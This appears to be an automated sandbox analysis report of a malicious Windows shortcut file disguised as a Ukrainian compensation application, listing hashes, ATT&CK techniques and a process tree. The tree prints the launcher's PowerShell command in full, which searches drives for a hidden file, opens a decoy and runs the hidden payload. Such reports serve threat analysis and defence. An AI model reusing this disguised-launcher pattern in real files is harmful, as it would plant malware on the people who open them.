1c6643b479614340097a8071c9f880688af5a82db7b6e755beafe7301eea1abf

Analysis

max time kernel
53s
max time network
131s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
16/09/2022, 11:43

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General

Target

ЗАЯВА-на-отримання-компенсації.lnk
Size

411KB
MD5

c15aa00479cae0a8bae7c926d7fd8ba6
SHA1

9c7c059e617380eb7bf5b5ae41b2874e2cf5111c
SHA256

bc4cab14e4b378a7b98185367b4778f92eb4335faba1a4503f4cfb7aba8f13e7
SHA512

79067ef1afbd879b3ab011354a626e567ebf463fd60f4c5d82c7332906fa4e6c9e85e8d33926cf7c2ed037a7b7eee92a4ce17020450442443740286efa4b2e72
SSDEEP

24:8y+wj/erlZygbDhw+svWP2+sv30PvcNnCsCcOrAI+/1:8m/6lZWnrPccCssAI

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1560	powershell.exe
1560	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1560	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2812 wrote to memory of 1560	2812	cmd.exe	83
PID 2812 wrote to memory of 1560	2812	cmd.exe	83
PID 2812 wrote to memory of 1560	2812	cmd.exe	83
PID 1560 wrote to memory of 4868	1560	powershell.exe	86
PID 1560 wrote to memory of 4868	1560	powershell.exe	86
PID 1560 wrote to memory of 4868	1560	powershell.exe	86
PID 1560 wrote to memory of 1128	1560	powershell.exe	87
PID 1560 wrote to memory of 1128	1560	powershell.exe	87
PID 1560 wrote to memory of 1128	1560	powershell.exe	87
PID 1560 wrote to memory of 820	1560	powershell.exe	89
PID 1560 wrote to memory of 820	1560	powershell.exe	89
PID 1560 wrote to memory of 820	1560	powershell.exe	89

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ЗАЯВА-на-отримання-компенсації.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2812
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Command $f = 'jfilyg7';Foreach($d in Get-PSDrive|ForEach-Object{$PSItem.Root} | findstr ':\') {$w=gci -hidden $d | findstr $f;if($w.Contains($f)){break}};ii $d'ЗАЯВА';start($d+$f)
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1560
- - C:\Windows\SysWOW64\findstr.exe
    "C:\Windows\system32\findstr.exe" :\
    3⤵
    PID:4868
- - C:\Windows\SysWOW64\findstr.exe
    "C:\Windows\system32\findstr.exe" jfilyg7
    3⤵
    PID:1128
- - C:\Windows\SysWOW64\findstr.exe
    "C:\Windows\system32\findstr.exe" jfilyg7
    3⤵
    PID:820

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1560-140-0x0000000006D00000-0x0000000006D1A000-memory.dmp

Filesize
104KB

Download
memory/1560-141-0x0000000006D70000-0x0000000006D92000-memory.dmp

Filesize
136KB

Download
memory/1560-136-0x0000000006110000-0x0000000006176000-memory.dmp

Filesize
408KB

Download
memory/1560-137-0x00000000061F0000-0x0000000006256000-memory.dmp

Filesize
408KB

Download
memory/1560-138-0x0000000005560000-0x000000000557E000-memory.dmp

Filesize
120KB

Download
memory/1560-139-0x00000000079B0000-0x0000000007A46000-memory.dmp

Filesize
600KB

Download
memory/1560-135-0x0000000005940000-0x0000000005962000-memory.dmp

Filesize
136KB

Download
memory/1560-142-0x0000000008060000-0x0000000008604000-memory.dmp

Filesize
5.6MB

Download
memory/1560-143-0x0000000007AB0000-0x0000000007AFA000-memory.dmp

Filesize
296KB

Download
memory/1560-133-0x0000000005380000-0x00000000053B6000-memory.dmp

Filesize
216KB

Download
memory/1560-145-0x0000000008C90000-0x000000000930A000-memory.dmp

Filesize
6.5MB

Download
memory/1560-134-0x00000000059F0000-0x0000000006018000-memory.dmp

Filesize
6.2MB

Download